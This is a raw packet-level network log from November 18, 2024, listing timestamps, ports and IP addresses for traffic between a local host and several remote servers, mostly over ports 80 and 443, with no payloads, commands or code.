Nov 18, 2024 00:27:52.767250061 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.767263889 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.767276049 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.767297983 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.767328978 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.767450094 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.767554998 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.767565012 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.767587900 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.767587900 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.767663956 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.767688036 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.767699003 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.767743111 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.772486925 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:52.772511959 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:52.772607088 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:52.772639036 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:52.772907972 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:52.792848110 CET	49968	443	192.168.2.6	23.221.22.215
Nov 18, 2024 00:27:52.792907953 CET	443	49968	23.221.22.215	192.168.2.6
Nov 18, 2024 00:27:52.793006897 CET	49968	443	192.168.2.6	23.221.22.215
Nov 18, 2024 00:27:52.793447971 CET	49969	443	192.168.2.6	23.221.22.215
Nov 18, 2024 00:27:52.793497086 CET	443	49969	23.221.22.215	192.168.2.6
Nov 18, 2024 00:27:52.793569088 CET	49969	443	192.168.2.6	23.221.22.215
Nov 18, 2024 00:27:52.793760061 CET	49968	443	192.168.2.6	23.221.22.215
Nov 18, 2024 00:27:52.793771029 CET	443	49968	23.221.22.215	192.168.2.6
Nov 18, 2024 00:27:52.793934107 CET	49969	443	192.168.2.6	23.221.22.215
Nov 18, 2024 00:27:52.793946981 CET	443	49969	23.221.22.215	192.168.2.6
Nov 18, 2024 00:27:52.847435951 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:52.847460985 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:52.847513914 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:52.847551107 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:52.847568989 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:52.847744942 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:52.888371944 CET	443	49959	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.888456106 CET	443	49959	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.888545036 CET	49959	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.888926029 CET	49959	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.888945103 CET	443	49959	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.889036894 CET	49959	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.889045000 CET	443	49959	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.893647909 CET	49970	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.893701077 CET	443	49970	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.893770933 CET	49970	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.893928051 CET	49970	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.893942118 CET	443	49970	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.931730032 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.931750059 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.931766987 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.931793928 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.931807995 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.931818008 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.931823969 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.931863070 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.931863070 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.931876898 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.931979895 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.931993008 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.932056904 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.932058096 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.932166100 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.932180882 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.932194948 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.932223082 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.932270050 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.932349920 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.932385921 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.932408094 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.932478905 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.932495117 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.932514906 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.932528019 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.932538986 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.932563066 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.932579041 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.932882071 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.932904959 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.932919025 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.932931900 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.932943106 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.932955027 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.932976961 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.932976961 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.933022976 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.933377981 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.933389902 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.933402061 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.933413029 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.933439016 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.933439016 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.933562994 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.933579922 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.933593035 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.933609009 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.933610916 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.933610916 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.933629036 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.933839083 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.933859110 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.934228897 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.964530945 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:52.964556932 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:52.964642048 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:52.964667082 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:52.964719057 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:52.965353966 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:52.965385914 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:52.965425014 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:52.965430021 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:52.965480089 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:52.965480089 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:52.966202974 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:52.966213942 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:53.005431890 CET	443	49961	162.159.61.3	192.168.2.6
Nov 18, 2024 00:27:53.006102085 CET	49961	443	192.168.2.6	162.159.61.3
Nov 18, 2024 00:27:53.006114960 CET	443	49961	162.159.61.3	192.168.2.6
Nov 18, 2024 00:27:53.006516933 CET	443	49961	162.159.61.3	192.168.2.6
Nov 18, 2024 00:27:53.048783064 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.048837900 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.048851013 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.048865080 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.048877001 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.048955917 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.049010992 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.049012899 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.049024105 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.049052000 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.049271107 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.054521084 CET	49961	443	192.168.2.6	162.159.61.3
Nov 18, 2024 00:27:53.072596073 CET	49961	443	192.168.2.6	162.159.61.3
Nov 18, 2024 00:27:53.072778940 CET	443	49961	162.159.61.3	192.168.2.6
Nov 18, 2024 00:27:53.085242033 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.085258007 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.085269928 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.085280895 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.085303068 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.085314035 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.085324049 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.085333109 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.085344076 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.085355997 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.085366964 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.085366964 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.085375071 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.085398912 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.085449934 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.085746050 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.085757971 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.085777044 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.085788965 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.085800886 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.085822105 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.085822105 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.085876942 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.086136103 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.086148024 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.086159945 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.086179018 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.086190939 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.086209059 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.086276054 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.086472034 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.086483955 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.086523056 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.086535931 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.086541891 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.086549044 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.086587906 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.086587906 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.093558073 CET	49971	443	192.168.2.6	23.221.22.215
Nov 18, 2024 00:27:53.093589067 CET	443	49971	23.221.22.215	192.168.2.6
Nov 18, 2024 00:27:53.093861103 CET	49971	443	192.168.2.6	23.221.22.215
Nov 18, 2024 00:27:53.102962017 CET	49971	443	192.168.2.6	23.221.22.215
Nov 18, 2024 00:27:53.102982044 CET	443	49971	23.221.22.215	192.168.2.6
Nov 18, 2024 00:27:53.118514061 CET	49972	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:53.118545055 CET	443	49972	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:53.118643999 CET	49972	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:53.118828058 CET	49972	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:53.118844032 CET	443	49972	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:53.165765047 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.165787935 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.165797949 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.165860891 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.165873051 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.165896893 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.166044950 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.166055918 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.166069031 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.166079998 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.166090965 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.166090965 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.166548014 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.197856903 CET	443	49963	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.199572086 CET	443	49962	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.202043056 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.202069044 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.202133894 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.202145100 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.202183962 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.202260017 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.202265024 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.202275038 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.202302933 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.202351093 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.202366114 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.202375889 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.202380896 CET	49961	443	192.168.2.6	162.159.61.3
Nov 18, 2024 00:27:53.202428102 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.202428102 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.202506065 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.202558994 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.202579975 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.202581882 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.202631950 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.202639103 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.202647924 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.202658892 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.202677965 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.202688932 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.202701092 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.202733994 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.202733994 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.202797890 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.203160048 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.203176022 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.203196049 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.203202963 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.203208923 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.203214884 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.203305960 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.203639030 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.203655958 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.203666925 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.203680038 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.203692913 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.203711987 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.203739882 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.204008102 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.204020023 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.204071999 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.204107046 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.218642950 CET	49973	443	192.168.2.6	13.91.222.61
Nov 18, 2024 00:27:53.218687057 CET	443	49973	13.91.222.61	192.168.2.6
Nov 18, 2024 00:27:53.218779087 CET	49973	443	192.168.2.6	13.91.222.61
Nov 18, 2024 00:27:53.219146013 CET	49973	443	192.168.2.6	13.91.222.61
Nov 18, 2024 00:27:53.219162941 CET	443	49973	13.91.222.61	192.168.2.6
Nov 18, 2024 00:27:53.219383955 CET	49963	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:53.219415903 CET	443	49963	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.219575882 CET	49962	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:53.219599962 CET	443	49962	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.220041990 CET	49963	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:53.220063925 CET	443	49963	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.220125914 CET	49962	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:53.220132113 CET	443	49962	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.283032894 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.283047915 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.283058882 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.283071041 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.283085108 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.283216000 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.283216000 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.283325911 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.283360004 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.283411980 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.283447027 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.283447027 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.319127083 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.319140911 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.319153070 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.319245100 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.319252968 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.319252968 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.319272041 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.319283962 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.319335938 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.319499016 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.319509983 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.319520950 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.319551945 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.319564104 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.319575071 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.319576025 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.319576025 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.319602013 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.319628000 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.319880962 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.319891930 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.319905043 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.319916964 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.319952011 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.319952011 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.320189953 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.320202112 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.320214033 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.320233107 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.320246935 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.320255995 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.320265055 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.320346117 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.320530891 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.320542097 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.320553064 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.320590019 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.320590019 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.320732117 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.320744038 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.320755005 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.320768118 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.320796967 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.320816994 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.356715918 CET	443	49963	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.356786013 CET	443	49963	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.356854916 CET	443	49963	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.356915951 CET	49963	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:53.357093096 CET	49963	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:53.357112885 CET	443	49963	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.357140064 CET	49963	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:53.357146978 CET	443	49963	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.358407974 CET	443	49962	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.358480930 CET	443	49962	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.358971119 CET	49962	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:53.360510111 CET	49962	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:53.360517025 CET	443	49962	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.360529900 CET	49962	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:53.360533953 CET	443	49962	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.362610102 CET	49974	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:53.362643957 CET	443	49974	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.362931967 CET	49974	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:53.363404036 CET	49975	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:53.363431931 CET	443	49975	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.363504887 CET	49974	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:53.363523006 CET	443	49974	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.363524914 CET	49975	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:53.363586903 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.363598108 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.363646030 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.363666058 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.363667011 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.363677025 CET	80	49889	185.215.113.206	192.168.2.6
